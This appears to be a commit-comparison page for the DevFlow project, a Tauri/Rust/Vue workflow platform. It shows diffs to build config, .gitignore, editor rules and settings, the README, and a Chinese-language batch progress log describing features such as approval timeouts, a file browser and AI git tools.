Compare commits
76 Commits
7b5b62d3ae
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| e9e3578d26 | |||
| 42efb31bbf | |||
| 0dfaeb0f5b | |||
| aa0701a2ea | |||
| 89cfbc7499 | |||
| 3d8b755229 | |||
| 249b3b9ea8 | |||
| eee0f06e1a | |||
| 46246880b3 | |||
| b18740405c | |||
| d99a65f034 | |||
| 8fa3a93eec | |||
| 3f22fd3673 | |||
| 34944df764 | |||
| c3b47b5771 | |||
| acf0ed091d | |||
| 54ffc868b2 | |||
| d5b0459a8a | |||
| f1fb8655c3 | |||
| d10d7ff330 | |||
| 61d3e9c148 | |||
| 840949ad05 | |||
| 3e93a2cd70 | |||
| 6e44878021 | |||
| 27b4268acb | |||
| f40287bb00 | |||
| 1d580dccc3 | |||
| 9947e6c1fe | |||
| 3c9077b043 | |||
| 4483358f6b | |||
| ae6d3d0043 | |||
| f4fc0feff5 | |||
| 6833792de2 | |||
| af2e085bea | |||
| 583058acd6 | |||
| f04d47b09d | |||
| fa410e6843 | |||
| a9ee9b1f74 | |||
| 0a65ea2c5a | |||
| 91d80841ea | |||
| c89742cb9a | |||
| 2af24f0db8 | |||
| 535525c2f6 | |||
| 3abdfb489f | |||
| 2c2b2d710e | |||
| 6771d396f0 | |||
| 0338210ba2 | |||
| 36ea090d9b | |||
| 89912155a6 | |||
| dd0e059365 | |||
| bce2fea4e5 | |||
| 3758bea0b5 | |||
| 3c2fa91fc6 | |||
| 78ef5dcc44 | |||
| 976ce29ad9 | |||
| 4dac9fe5f1 | |||
| 76aec62d36 | |||
| 27eb0a9f6b | |||
| 948d6e644b | |||
| aa4d5213eb | |||
| 2780f6affa | |||
| 773ebb6ef6 | |||
| 15eaa0c637 | |||
| f5f101d88a | |||
| b19b0f3679 | |||
| abc6880936 | |||
| 6b131f3dc1 | |||
| 78bd8d4344 | |||
| 093fe172f8 | |||
| ff3f153d45 | |||
| dfed588b54 | |||
| 63936e3016 | |||
| 7a2a2e13a2 | |||
| 49c6f3360a | |||
| 9b6353c561 | |||
| 0cfea6da22 |
@@ -1,5 +1,12 @@
|
|||||||
# musl linux 交叉编译(Windows 主机无 cc/musl-gcc,用 rust-lld self-contained link)
|
# musl linux 交叉编译(Windows 主机无 cc/musl-gcc,用 rust-lld self-contained link)
|
||||||
# df-relay 云端部署:本地交叉产 static linux binary → scp 测试机普通运行
|
# df-relay 云端部署:本地交叉产 static linux binary → scp 测试机普通运行
|
||||||
|
#
|
||||||
|
# ⚠️ 默认不要跑交叉编译,产物体积大且会污染 target/ 影响日常 build/rust-analyzer 性能。
|
||||||
|
# 需要部署 df-relay 时再显式执行,并把产物隔离到独立 target dir:
|
||||||
|
#
|
||||||
|
# CARGO_TARGET_DIR=target-musl cargo build --release --target x86_64-unknown-linux-musl -p df-relay
|
||||||
|
#
|
||||||
|
# 这样 musl 产物落到 target-musl/(已 gitignore),与主 target/ 完全隔离。
|
||||||
[target.x86_64-unknown-linux-musl]
|
[target.x86_64-unknown-linux-musl]
|
||||||
linker = "rust-lld"
|
linker = "rust-lld"
|
||||||
rustflags = ["-C", "link-self-contained=y"]
|
rustflags = ["-C", "link-self-contained=y"]
|
||||||
|
|||||||
23
.gitignore
vendored
23
.gitignore
vendored
@@ -25,6 +25,7 @@ unpackage/
|
|||||||
|
|
||||||
# Rust / Cargo
|
# Rust / Cargo
|
||||||
target/
|
target/
|
||||||
|
target-musl/ # df-relay 交叉编译产物隔离目录(见 .cargo/config.toml)
|
||||||
!Cargo.lock
|
!Cargo.lock
|
||||||
|
|
||||||
# Tauri
|
# Tauri
|
||||||
@@ -59,6 +60,28 @@ tmp/
|
|||||||
# AI 编排脚本(Claude Code Workflow 临时产物,非产品代码)
|
# AI 编排脚本(Claude Code Workflow 临时产物,非产品代码)
|
||||||
workflows/
|
workflows/
|
||||||
|
|
||||||
|
# 临时分析脚本(团队分析/报告生成,非产品代码根目录级)
|
||||||
|
/analysis_*.txt
|
||||||
|
/analysis_*.py
|
||||||
|
/core_domains.txt
|
||||||
|
/core_domains.py
|
||||||
|
/final_report.txt
|
||||||
|
/grand_output.txt
|
||||||
|
/im_live_verify.txt
|
||||||
|
/liang_deep.py
|
||||||
|
/liangxianyou_deep.txt
|
||||||
|
/member_profiles.py
|
||||||
|
/read_all.py
|
||||||
|
/report_p2.txt
|
||||||
|
/report_wall.txt
|
||||||
|
/team_analysis.py
|
||||||
|
/team_deep_analysis.py
|
||||||
|
/team_member_profiles.txt
|
||||||
|
/team_report_final.txt
|
||||||
|
/tmp_*.py
|
||||||
|
/tmp_*.txt
|
||||||
|
/verify_im_live*.py
|
||||||
|
|
||||||
# MCP/SQLite 测试库(mcp_test2 --db 残留)
|
# MCP/SQLite 测试库(mcp_test2 --db 残留)
|
||||||
devflow-dev.db
|
devflow-dev.db
|
||||||
devflow-dev.db-shm
|
devflow-dev.db-shm
|
||||||
|
|||||||
48
.zed/rules/commit.rules.md
Normal file
48
.zed/rules/commit.rules.md
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
# DevFlow 提交规范
|
||||||
|
|
||||||
|
## 提交注释格式
|
||||||
|
|
||||||
|
```
|
||||||
|
<动词>: <简短描述>
|
||||||
|
|
||||||
|
<详细说明(可选,仅在需要补充上下文时)>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 动词词表
|
||||||
|
|
||||||
|
| 动词 | 使用场景 |
|
||||||
|
|------|---------|
|
||||||
|
| `新增` | 新功能、新特性、新文件 |
|
||||||
|
| `修复` | Bug 修复、问题修正 |
|
||||||
|
| `更新` | 文档更新、配置变更、依赖升级、非功能性的已有内容修改 |
|
||||||
|
| `重构` | 代码重构(行为不变的结构调整) |
|
||||||
|
| `删除` | 移除功能、删除文件 |
|
||||||
|
| `优化` | 性能优化、体验改进 |
|
||||||
|
| `合并` | 分支合并 |
|
||||||
|
|
||||||
|
## 规范要求
|
||||||
|
|
||||||
|
1. **动词 + 冒号 + 空格**:`修复: 审批按钮永久转圈`
|
||||||
|
2. **主题行不超过 72 字符**
|
||||||
|
3. **主语用中文**,描述清楚改动内容
|
||||||
|
4. **不要用内部代号**:禁止 Batch/P1/P2/L1/F-XX 等代号
|
||||||
|
5. **不要用分隔线**:禁止 `---` 或 `===` 等装饰线
|
||||||
|
6. **不要写无意义提交**:如"更新"、"修复"、"提交"等无法看出内容的单字提交
|
||||||
|
7. **改动较多的提交**:主题行概括后,空一行用列表展开具体条目
|
||||||
|
8. **文档和代码合并提交**:文档更新和对应代码改动放在同一个提交中,不分散
|
||||||
|
|
||||||
|
## 示例
|
||||||
|
|
||||||
|
```
|
||||||
|
修复: 审批按钮永久转圈和等待计数不停
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
新增: 文件浏览器增强(窗口分离/Git 变更/行号/Diff/分页提交历史)
|
||||||
|
|
||||||
|
- 窗口分离: FileExplorer 可弹出独立 Tauri 窗口
|
||||||
|
- 行号显示: 文件预览左侧显示行号列
|
||||||
|
- Diff 视图: 有 Git 变更的文件可切换 diff 红绿视图
|
||||||
|
- 提交详情: 点击提交查看变更文件列表及文件级 diff
|
||||||
|
- 中文编码修复: git 命令注入 LC_ALL 环境变量
|
||||||
|
```
|
||||||
29
.zed/rules/development.rules.md
Normal file
29
.zed/rules/development.rules.md
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
# DevFlow 开发规则
|
||||||
|
|
||||||
|
## 技术栈
|
||||||
|
|
||||||
|
- 桌面端: Tauri v2 + Vue 3 + TypeScript + Pinia
|
||||||
|
- 后端: Rust Workspace (8 crate) / SQLite
|
||||||
|
- 包管理: bun (前端) / cargo (Rust)
|
||||||
|
- 路径: `E:/wk-lab/devflow`
|
||||||
|
|
||||||
|
## 架构原则
|
||||||
|
|
||||||
|
1. **治本不治标**:修复问题时找到根因,不做表面补丁
|
||||||
|
2. **DRY 原则**:不重复代码,抽象出可复用逻辑
|
||||||
|
3. **长远考虑**:不追求局部最优,考虑整体架构演进
|
||||||
|
4. **修改收敛**:同类改动合并到一个批次提交,不零散提交
|
||||||
|
|
||||||
|
## 代码规范
|
||||||
|
|
||||||
|
1. **Rust 后端**:提交前运行 `cd src-tauri && cargo check`
|
||||||
|
2. **前端 TypeScript/Vue**:提交前运行 `npx vue-tsc --noEmit`
|
||||||
|
3. **完整构建**:提交前运行 `npx vite build`(验证构建不报错)
|
||||||
|
4. **TypeScript 文件名**:camelCase(`fileExplorer.ts`)
|
||||||
|
5. **Vue 组件文件名**:PascalCase(`FileExplorer.vue`)
|
||||||
|
|
||||||
|
## i18n
|
||||||
|
|
||||||
|
- 中英文双语言同步:`src/i18n/en/` 和 `src/i18n/zh-CN/`
|
||||||
|
- 新增组件时同时添加对应语言的翻译文件
|
||||||
|
- 国际化文件自动聚合(`src/i18n/*/index.ts` 自动导入所有模块文件)
|
||||||
64
.zed/settings.json
Normal file
64
.zed/settings.json
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
{
|
||||||
|
// 项目级 Zed 配置:优化 rust-analyzer 性能
|
||||||
|
//
|
||||||
|
// 背景:本 workspace 含 src-tauri + 7 个 df-* crate,
|
||||||
|
// flycheck 单次产出 600+ 行 artifact JSON,Zed 解析+渲染会冻结 UI。
|
||||||
|
// 核心策略:关掉保存即 check、限定 check 范围、隔离 target 目录。
|
||||||
|
|
||||||
|
"lsp": {
|
||||||
|
"rust-analyzer": {
|
||||||
|
"initialization_options": {
|
||||||
|
"cargo": {
|
||||||
|
"features": [], // 不编 default features 之外的重头
|
||||||
|
"allTargets": false, // 只为 host target 解析,跳过 musl/交叉
|
||||||
|
"targetDir": null, // 留空用 cargo 默认,避免双写
|
||||||
|
"buildScripts": {
|
||||||
|
"enable": true,
|
||||||
|
"rerun": "on-save"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"check": {
|
||||||
|
"onSave": false, // ★ 关键!关闭保存即 check(Zed 卡死主因)
|
||||||
|
"workspace": false, // 即便手动 check 也只查当前 crate
|
||||||
|
"command": "check", // 用 cargo check(非 clippy),首次开销低
|
||||||
|
"features": [],
|
||||||
|
"allTargets": false
|
||||||
|
},
|
||||||
|
"diagnostics": {
|
||||||
|
"enable": true, // 保留 rust-analyzer 自身诊断
|
||||||
|
"experimental": {
|
||||||
|
"enable": false
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"procMacro": {
|
||||||
|
"enable": true, // 必须开,否则 tauri::generate_context 等会报红
|
||||||
|
"attributes": {
|
||||||
|
"enable": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"workspace": {
|
||||||
|
"symbol": {
|
||||||
|
"search": {
|
||||||
|
"kind": "only_types",
|
||||||
|
"limit": 64
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"completion": {
|
||||||
|
"callable": {
|
||||||
|
"snippets": "fill_arguments"
|
||||||
|
},
|
||||||
|
"fullFunction": {
|
||||||
|
"enable": false
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"interpret": {
|
||||||
|
"tests": false
|
||||||
|
},
|
||||||
|
"files": {
|
||||||
|
"excludeDirs": [".cargo", "target", "target-musl", "node_modules", "dist", ".zed"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# DevFlow — 产研全流程工作流平台
|
# DevFlow — 产研全流程工作流平台
|
||||||
|
|
||||||
> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: 设计阶段
|
> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: Phase 2 本地优先开发流程验证
|
||||||
|
|
||||||
## 一、项目定位
|
## 一、项目定位
|
||||||
|
|
||||||
@@ -155,7 +155,7 @@ DevFlow 的终极交互模型是 **AI 驱动 (AI Working)**:**AI 是系统的
|
|||||||
devflow/
|
devflow/
|
||||||
├── Cargo.toml # Workspace 根
|
├── Cargo.toml # Workspace 根
|
||||||
├── crates/
|
├── crates/
|
||||||
│ ├── df-core/ # 核心类型、错误、常量、事件
|
│ ├── df-types/ # 核心类型、错误、常量、事件、augmentation
|
||||||
│ ├── df-workflow/ # 工作流 DAG 引擎 (核心)
|
│ ├── df-workflow/ # 工作流 DAG 引擎 (核心)
|
||||||
│ ├── df-nodes/ # 内置节点集合 (AI/Script/Human)
|
│ ├── df-nodes/ # 内置节点集合 (AI/Script/Human)
|
||||||
│ ├── df-ai/ # AI 编排层 (Multi-Provider/Coordinator)
|
│ ├── df-ai/ # AI 编排层 (Multi-Provider/Coordinator)
|
||||||
@@ -320,8 +320,9 @@ pub struct Decision {
|
|||||||
|
|
||||||
- **LlmProvider trait**:统一接口,各模型实现(`provider.rs`)✅
|
- **LlmProvider trait**:统一接口,各模型实现(`provider.rs`)✅
|
||||||
- **ModelRouter**:按任务类型路由到最优模型 + 降级链 — ❌ 已删(R-PD-7),模型选择改由调用方在 `LlmProvider` 实现间直接指定
|
- **ModelRouter**:按任务类型路由到最优模型 + 降级链 — ❌ 已删(R-PD-7),模型选择改由调用方在 `LlmProvider` 实现间直接指定
|
||||||
- **AgentCoordinator**:多 Agent 协作(Planner/Coder/Reviewer/Fixer)— ⚠️ 骨架空壳(`coordinator.rs`,仅单元结构体 + 日志,未实现实际协调)
|
- **AgentCoordinator**:多 Agent 协作(Plan DAG 拆解 + JoinSet 层内并行 + Token 预算池 + Reviewer 仲裁) — ✅ 已实现
|
||||||
- **ContextManager**:Token 预算管理(`context.rs`,完整实现)✅
|
- **Git Worktree 隔离**:子 Agent 文件隔离(git worktree + 独立分支) — ✅ 已实现
|
||||||
|
- **ContextManager**:Token 预算管理(`context/mod.rs`,拆分为 sanitize/manager_tests 子模块)✅
|
||||||
- **ToolRegistry**:工具注册(`ai_tools.rs`,供 Agent 调用)✅
|
- **ToolRegistry**:工具注册(`ai_tools.rs`,供 Agent 调用)✅
|
||||||
|
|
||||||
### 5.5 内置节点 (df-nodes)
|
### 5.5 内置节点 (df-nodes)
|
||||||
@@ -331,13 +332,13 @@ pub struct Decision {
|
|||||||
| AINode | 调用 LLM,支持流式输出、工具调用 | ✅ 已实现 |
|
| AINode | 调用 LLM,支持流式输出、工具调用 | ✅ 已实现 |
|
||||||
| ScriptNode | Shell/脚本执行 | ✅ 已实现 |
|
| ScriptNode | Shell/脚本执行 | ✅ 已实现 |
|
||||||
| HumanNode | 人工审批/确认 (阻塞) | ✅ 已实现 |
|
| HumanNode | 人工审批/确认 (阻塞) | ✅ 已实现 |
|
||||||
| DockerNode | Docker 容器操作 | ❌ 未实现 |
|
| GitNode | Git 操作(branch/checkout/commit/merge/push/status/log) | ✅ 已实现 |
|
||||||
| GitNode | Git 操作 (libgit2) | ❌ 未实现 |
|
| HTTPNode | HTTP 请求(GET/POST/PUT/DELETE) | ✅ 已实现 |
|
||||||
| NotifyNode | 通知 (桌面/飞书/Webhook) | ❌ 未实现 |
|
| NotifyNode | 通知(桌面/Webhook) | ✅ 已实现 |
|
||||||
| HTTPNode | HTTP 请求 | ❌ 未实现 |
|
| SubflowNode | 嵌套子工作流(深度限制防递归) | ✅ 已实现 |
|
||||||
| SubflowNode | 嵌套子工作流 | ❌ 未实现 |
|
| DockerNode | Docker 容器内构建/测试(环境检测+授权) | ✅ 已实现 |
|
||||||
|
|
||||||
> `crates/df-nodes/src/` 实际仅 ai_node / script_node / human_node 3 文件(Docker/Git/Notify/HTTP/Subflow 为设计预留,尚未实现)。详见 [df-nodes 模块文档](docs/03-模块文档/df-nodes-节点集合-2026-06-12.md)。
|
> `crates/df-nodes/src/` 含 ai_node / script_node / human_node / git_node / http_node / notify_node / subflow_node / docker_node 8 文件(全部已实现)。
|
||||||
|
|
||||||
## 六、数据模型
|
## 六、数据模型
|
||||||
|
|
||||||
@@ -552,7 +553,7 @@ CREATE TABLE app_settings (
|
|||||||
## 八、Phase 规划
|
## 八、Phase 规划
|
||||||
|
|
||||||
### Phase 1 — 引擎骨架 (4-6 周)
|
### Phase 1 — 引擎骨架 (4-6 周)
|
||||||
- df-core + df-workflow (DAG + Node trait + Executor)
|
- df-types + df-workflow (DAG + Node trait + Executor)
|
||||||
- df-storage (SQLite 基础表)
|
- df-storage (SQLite 基础表)
|
||||||
- df-execute (Shell 执行)
|
- df-execute (Shell 执行)
|
||||||
- 最小前端:项目列表 + 工作流执行日志
|
- 最小前端:项目列表 + 工作流执行日志
|
||||||
|
|||||||
553
Batch.md
Normal file
553
Batch.md
Normal file
@@ -0,0 +1,553 @@
|
|||||||
|
# DevFlow 批次推进记录
|
||||||
|
|
||||||
|
> 记录每个批次的提交 hash、改动内容和交付价值。
|
||||||
|
> 最后更新: 2026-07-02 | 最新提交: `4624688`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 1 — 审批超时后端兜底
|
||||||
|
|
||||||
|
- **提交**: `b923d70`(后重写为 `9dd5a5a`)
|
||||||
|
- **内容**:
|
||||||
|
- 新增 `agentic/approval_timeout.rs`,在审批恢复入口检测超时,超时自动取消并写入审计
|
||||||
|
- 待审批记录新增创建时刻字段,用于超时判定
|
||||||
|
- 应用启动时从设置恢复超时配置(默认 15 分钟,0 为禁用)
|
||||||
|
- 新增读写超时配置的接口,设置页可改
|
||||||
|
- 与前端共用同一个配置项,保证单一真相源
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 2 — 工具卡片拆分核验
|
||||||
|
|
||||||
|
- **提交**: `e95a5cd`(后重写为 `45fc493`)
|
||||||
|
- **内容**:
|
||||||
|
- 核验发现工具卡片拆分任务实际已完成,文档标记滞后
|
||||||
|
- ToolCard.vue 从 1527 行降至 373 行
|
||||||
|
- 审批状态机独立为 useToolApproval.ts(220 行)
|
||||||
|
- 头部逻辑、渲染逻辑、通用工具函数各自独立
|
||||||
|
- 大型文件拆分三项全部完成(主聊天组件/命令注册/通用 CRUD)
|
||||||
|
- **验证**: 文档核验,无代码改动
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 3 — 条件表达式 UI 翻译补齐
|
||||||
|
|
||||||
|
- **提交**: `e460e8d`(后重写为 `d79c816`)
|
||||||
|
- **内容**:
|
||||||
|
- 工作流条件表达式引擎和执行器集成早已完成
|
||||||
|
- 前端边条件编辑入口已存在,但翻译缺失(用中文兜底)
|
||||||
|
- 补齐中英文翻译(工作流结构标题/层标签/空态/边条件编辑器)
|
||||||
|
- 核验确认条件引擎全部链路均已落地
|
||||||
|
- **验证**: vue-tsc 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 4 — 知识提炼切读消息表
|
||||||
|
|
||||||
|
- **提交**: `6aac7ef`(后重写为 `f57c37e`)
|
||||||
|
- **内容**:
|
||||||
|
- 知识提炼是最后一个仍读旧消息 JSON 列的路径
|
||||||
|
- 改为优先读消息表,表空时回退旧 JSON(老库兼容)
|
||||||
|
- 复用既有的记录转消息映射函数,与其他读路径同源
|
||||||
|
- 至此消息存储拆分全部完成
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 5 — 关闭已完成待办项
|
||||||
|
|
||||||
|
- **提交**: `59b7188`(后重写为 `694f24f`)
|
||||||
|
- **内容**:
|
||||||
|
- 工具卡片分组标题增强(文件路径摘要展示)已落地
|
||||||
|
- 重试持锁问题核验无影响(多会话改造后全局锁已移除)
|
||||||
|
- 对抗式评估批量命令暂不做(单项已接入,批量无消费方)
|
||||||
|
- 残留诊断代码已清理(无硬编码绝对路径)
|
||||||
|
- 工程内路径授权政策确认为白名单制
|
||||||
|
- **验证**: 文档核验
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 6 — 应用状态拆分 + 事件分发统一 + 路径授权治本
|
||||||
|
|
||||||
|
- **提交**: `996f1d9`
|
||||||
|
- **内容**:
|
||||||
|
- **状态文件拆分**: 1416 行单文件 → 按职责分模块(授权白名单/知识库配置/并发控制)
|
||||||
|
- **事件分发器统一**: 5 类生命周期事件纳入主事件联合类型,删除第二监听器,一个事件源一个监听器一个分发器
|
||||||
|
- **路径授权去硬编码**: 不再硬塞编译期路径到白名单,工程根授权靠项目绑定目录 + 设置页配置
|
||||||
|
- **补丁**: `cc3ef5b` — 修复设置页面崩溃(模块循环依赖导致初始化失败)
|
||||||
|
- **验证**: cargo check + vue-tsc 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 7 — 小程序配置持久化与心跳闭环
|
||||||
|
|
||||||
|
- **提交**: `cb7e1fc`
|
||||||
|
- **内容**:
|
||||||
|
- **配置持久化**: 运行时配置接入 storage,懒加载恢复,新增重置函数
|
||||||
|
- **心跳 pong 闭环**: 中继服务识别小程序心跳 ping 直接回 pong(不经桌面端透传),小程序看门狗据此判活
|
||||||
|
- **文档同步**: 关闭条件引擎/streaming per-conv/workspace_root 三项已完成的待决策
|
||||||
|
- **验证**: cargo check(devflow + df-relay)通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 8 — 消息分页懒加载与事件总线空转优化
|
||||||
|
|
||||||
|
- **提交**: `3c18dea`
|
||||||
|
- **内容**:
|
||||||
|
- **消息分页**: 消息仓库新增分页查询方法(从尾部取最近 N 条,支持游标),切换对话返回最近 50 条 + 游标,新增加载更多接口
|
||||||
|
- **事件总线优化**: 发布事件前先检查订阅者数量,无订阅者跳过序列化(消除空转开销)
|
||||||
|
- **核验关闭**: 对话上下文透明化三项均已落地(目标可见/项目增强预览/完整上下文面板)
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 9 — 项目多工程系统(数据层)
|
||||||
|
|
||||||
|
- **提交**: `b72df78`
|
||||||
|
- **内容**:
|
||||||
|
- **数据层**: project_modules 表(V34 迁移)+ ProjectModuleRepo 完整 CRUD
|
||||||
|
- **后端接口**: 工程增删改查 + Git 状态查询(实时跑 git 命令返回分支/改动/提交,10s 超时)
|
||||||
|
- **创建项目适配**: 新建项目时自动创建一个工程(目录=绑定路径,技术栈=探测结果)
|
||||||
|
- **AI 工具**: list_project_modules(AI 了解项目工程结构)
|
||||||
|
- **设计文档**: 新增工程系统设计方案
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 10 — 项目文件浏览器(前端 UI)
|
||||||
|
|
||||||
|
- **提交**: `50aad37`
|
||||||
|
- **内容**:
|
||||||
|
- **后端接口**: 文件树查询(列目录 + Git 状态合并 + 噪音过滤 + 路径穿越防御)+ 文件读取(文本/图片/二进制,1MB 上限)
|
||||||
|
- **文件树组件**: 递归树形展示,懒加载子目录,Git 状态标记(橙=修改/绿=新增/灰=未跟踪)
|
||||||
|
- **文件预览组件**: 代码文本/图片/二进制三分支,加载状态
|
||||||
|
- **主容器**: 工程选择(单工程隐藏)+ 面包屑导航 + 刷新
|
||||||
|
- **集成**: 项目详情页新增"文件"Tab
|
||||||
|
- **国际化**: 中英文同步
|
||||||
|
- **验证**: cargo check + vue-tsc 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 11 — Git 只读 AI 工具
|
||||||
|
|
||||||
|
- **提交**: `7b5b62d`
|
||||||
|
- **内容**:
|
||||||
|
- **git_status**(Low 自动执行): 工作区状态结构化(分支 + 改动文件列表 + 状态标记)
|
||||||
|
- **git_diff**(Low): 改动详情(统计 + patch 截断到 8000 字符防 token 爆)
|
||||||
|
- **git_log**(Low): 提交历史结构化(哈希/作者/消息/日期)
|
||||||
|
- 所有 git 命令在工程目录执行,10s 超时,无 Git 仓库返回空状态
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 12 — Git 写操作 AI 工具
|
||||||
|
|
||||||
|
- **提交**: `0cfea6d`
|
||||||
|
- **内容**:
|
||||||
|
- **git_commit**(Medium 审批): 提交工作区改动,提交前检查敏感文件(.env/.key/.pem)
|
||||||
|
- **git_branch**(Medium 审批): 分支列表/创建/切换
|
||||||
|
- **git_merge**(High 审批): 合并分支,自动检测冲突返回冲突文件列表
|
||||||
|
- 安全边界: 禁止 push / force / reset --hard
|
||||||
|
- **验证**: cargo check 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 架构设计文档状态同步
|
||||||
|
|
||||||
|
- **提交**: `8d18918`
|
||||||
|
- **内容**: 9 份设计文档状态批量更新(从"待实施"改为"已落地"),1 份归档(规格契约自检被其他机制覆盖)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 提交注释规范重写
|
||||||
|
|
||||||
|
- **内容**: Batch 1-5 的提交注释经 filter-branch 重写,消除内部代号(Batch/P1/P2/L1/F-09 等),统一为"两字动词 + 冒号"格式(新增/修复/更新)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 13 — 文件浏览器增强(行号/图标/Diff/Git 变更面板/窗口分离)
|
||||||
|
|
||||||
|
- **提交**: `c6df455`
|
||||||
|
- **内容**:
|
||||||
|
- **行号显示**: 文件预览左侧行号列
|
||||||
|
- **后缀图标**: 20+ 文件类型彩色 SVG 图标(rs/ts/js/vue/css/html/json/md/sh/sql 等)
|
||||||
|
- **Diff 视图**: 有 Git 变更的文件可切换内容/Diff 红绿视图
|
||||||
|
- **Git 变更面板**: 文件树侧栏切换至变更视图,变更文件列表(按目录缩进分组)+提交历史(分页 50 条)
|
||||||
|
- **提交详情**: 点击提交行展开变更文件列表,点文件查看该文件 diff
|
||||||
|
- **提交时间显示**: 相对时间(刚刚/N分钟前)+超过 30 天显示具体日期
|
||||||
|
- **窗口分离**: FileExplorer 可弹出独立 Tauri 窗口
|
||||||
|
- **中文编码修复**: git 命令注入 LANG/LC_ALL UTF-8 环境变量,修复中文乱码
|
||||||
|
- **多工程管理 UI**: 工具栏添加工程按钮+弹窗表单
|
||||||
|
- **文件变更自动刷新**: write_file/patch_file 触发 df-data-changed 事件,AI 写入后自动刷新
|
||||||
|
- **面包屑不丢预览**: 面包屑导航时保留当前预览文件
|
||||||
|
- **刷新保留选中文件**: 只清树缓存不清预览
|
||||||
|
- **自适应布局**: 弹性 flex 布局,窄窗口自适应
|
||||||
|
- **审批超时 130s->30s**: 按钮级 loading 超时缩短
|
||||||
|
- **阶段进度条隐藏**: 装饰性元素,待接入真实状态机后启用
|
||||||
|
- **验证**: cargo check + vue-tsc + vite build 通过
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 14 — 文件浏览器收尾
|
||||||
|
|
||||||
|
- **提交**: `53e6442`
|
||||||
|
- **内容**:
|
||||||
|
- 提交之前未提交的滚动条与布局修复
|
||||||
|
- 移除阶段进度条死代码(模板+CSS+常量)
|
||||||
|
- 文件预览空状态加图标引导
|
||||||
|
- 变更视图加载骨架屏
|
||||||
|
- 工程选择器改为自定义下拉(显示工程路径)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 15 — 多工程管理
|
||||||
|
|
||||||
|
- **提交**: `d8d6226`
|
||||||
|
- **内容**:
|
||||||
|
- 工程编辑入口:工具栏编辑按钮+弹窗(名称/路径/Git 地址)
|
||||||
|
- 工程删除二次确认:防误删
|
||||||
|
- 记住上次选中工程:localStorage 持久化
|
||||||
|
- 自动扫描子仓库:下拉菜单加扫描入口,发现 .git 子目录自动建工程
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 16 — Git 提交历史作者
|
||||||
|
|
||||||
|
- **提交**: `b19b0f3`
|
||||||
|
- **内容**:
|
||||||
|
- 后端 git log format 加 %an 作者名(状态查询+分页查询)
|
||||||
|
- 提交列表每行显示 hash/作者/主题/时间
|
||||||
|
- 提交详情头部补充作者显示
|
||||||
|
- 分支切换按钮占位(后续接入分支列表 IPC)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 渲染崩溃修复
|
||||||
|
|
||||||
|
- **提交**: `bce2fea`
|
||||||
|
- **内容**:
|
||||||
|
- AdvancedSection clampApprovalTimeout 常量移到 reactive 之前(打包后 const 初始化顺序 TDZ)
|
||||||
|
- @/i18n 去掉对 @/stores/appSettings 的 import,改直读 localStorage
|
||||||
|
- Tauri capability 加 ai-detached-* / fe-detached-* 通配符(分离窗口 listen 权限)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 17 — Git 能力闭环
|
||||||
|
|
||||||
|
- **提交**: `15eaa0c`
|
||||||
|
- **内容**:
|
||||||
|
- Diff 行号解析:解析 @@ -a,b +c,d @@ 头,计算旧/新行号(原恒空字符串)
|
||||||
|
- 提交详情增强:显示父提交哈希/作者/日期/完整消息
|
||||||
|
- 分支只读展示:list_branches IPC + 变更面板顶部下拉查看分支
|
||||||
|
- AI 工具写入后自动跳转变更视图:监听 df-data-changed entity=file 切 Tab + 刷新
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 18 — 小程序审批超时计时器
|
||||||
|
|
||||||
|
- **提交**: `773ebb6`
|
||||||
|
- **内容**:
|
||||||
|
- 对齐桌面端 aiShared.startApprovalTimer,补齐小程序缺失的审批超时机制
|
||||||
|
- AiApprovalRequired/AiDirAuthRequired 触发 startApprovalTimer(每条独立计时)
|
||||||
|
- AiToolCallCompleted/AiApprovalResult 触发 clearApprovalTimer(审批落定)
|
||||||
|
- 切会话/新建/断连/重连/终态触发 clearAllApprovalTimers(防跨会话污染)
|
||||||
|
- 超时自动拒绝(approve(id,false))+ toast 提示用户
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Batch 19 — 任务管理 UX 重构 + 项目卡片工程数
|
||||||
|
|
||||||
